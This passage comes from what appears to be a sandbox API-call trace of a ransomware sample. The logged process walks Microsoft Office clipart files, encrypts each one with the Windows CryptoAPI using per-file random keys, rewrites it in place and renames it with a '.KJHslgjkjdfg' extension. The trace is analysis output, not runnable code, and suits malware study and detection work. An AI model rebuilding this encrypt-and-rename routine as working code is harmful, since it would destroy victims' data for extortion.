pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.668] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.668] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3f9c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3f9c, lpOverlapped=0x0) returned 1 [0218.669] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3fa0, dwBufLen=0x3fa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3fa0) returned 1 [0218.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.669] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3fa0, lpOverlapped=0x0) returned 1 [0218.669] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.669] SetEndOfFile (hFile=0x130) returned 1 [0218.672] GetProcessHeap () returned 0x2ef0000 [0218.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.672] GetProcessHeap () returned 0x2ef0000 [0218.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.kjhslgjkjdfg")) returned 1 [0218.674] CloseHandle (hObject=0x130) returned 1 [0218.675] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0218.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.676] GetProcessHeap () returned 0x2ef0000 [0218.676] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.676] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.679] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.679] GetProcessHeap () returned 0x2ef0000 [0218.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.679] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.680] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.680] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.680] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.680] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1418, lpOverlapped=0x0) returned 1 [0218.681] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1420, dwBufLen=0x1420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1420) returned 1 [0218.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.681] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1420, lpOverlapped=0x0) returned 1 [0218.681] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.681] SetEndOfFile (hFile=0x130) returned 1 [0218.684] GetProcessHeap () returned 0x2ef0000 [0218.684] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.684] GetProcessHeap () returned 0x2ef0000 [0218.684] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.kjhslgjkjdfg")) returned 1 [0218.686] CloseHandle (hObject=0x130) returned 1 [0218.686] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0218.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.687] GetProcessHeap () returned 0x2ef0000 [0218.687] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.687] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0218.690] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.690] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.690] GetProcessHeap () returned 0x2ef0000 [0218.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.690] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.690] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.691] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.691] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdda, lpOverlapped=0x0) returned 1 [0218.691] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xde0, dwBufLen=0xde0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xde0) returned 1 [0218.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.691] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xde0, lpOverlapped=0x0) returned 1 [0218.691] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.691] SetEndOfFile (hFile=0x130) returned 1 [0218.694] GetProcessHeap () returned 0x2ef0000 [0218.694] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.694] GetProcessHeap () returned 0x2ef0000 [0218.694] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.kjhslgjkjdfg")) returned 1 [0218.696] CloseHandle (hObject=0x130) returned 1 [0218.696] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0218.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.697] GetProcessHeap () returned 0x2ef0000 [0218.697] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.697] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.697] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.711] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.711] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.711] GetProcessHeap () returned 0x2ef0000 [0218.711] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.711] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.711] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.711] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.711] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.711] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.711] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.712] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.712] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.712] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x23d4, lpOverlapped=0x0) returned 1 [0218.713] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23e0) returned 1 [0218.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.713] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x23e0, lpOverlapped=0x0) returned 1 [0218.713] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.713] SetEndOfFile (hFile=0x130) returned 1 [0218.716] GetProcessHeap () returned 0x2ef0000 [0218.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.716] GetProcessHeap () returned 0x2ef0000 [0218.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.kjhslgjkjdfg")) returned 1 [0218.718] CloseHandle (hObject=0x130) returned 1 [0218.718] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0218.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.720] GetProcessHeap () returned 0x2ef0000 [0218.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.720] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.720] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.722] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.722] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.722] GetProcessHeap () returned 0x2ef0000 [0218.722] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.722] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.722] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.722] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.723] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.723] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.723] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.723] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.723] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.723] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.723] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1fc4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1fc4, lpOverlapped=0x0) returned 1 [0218.724] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fd0) returned 1 [0218.724] SetFilePointerEx (in: 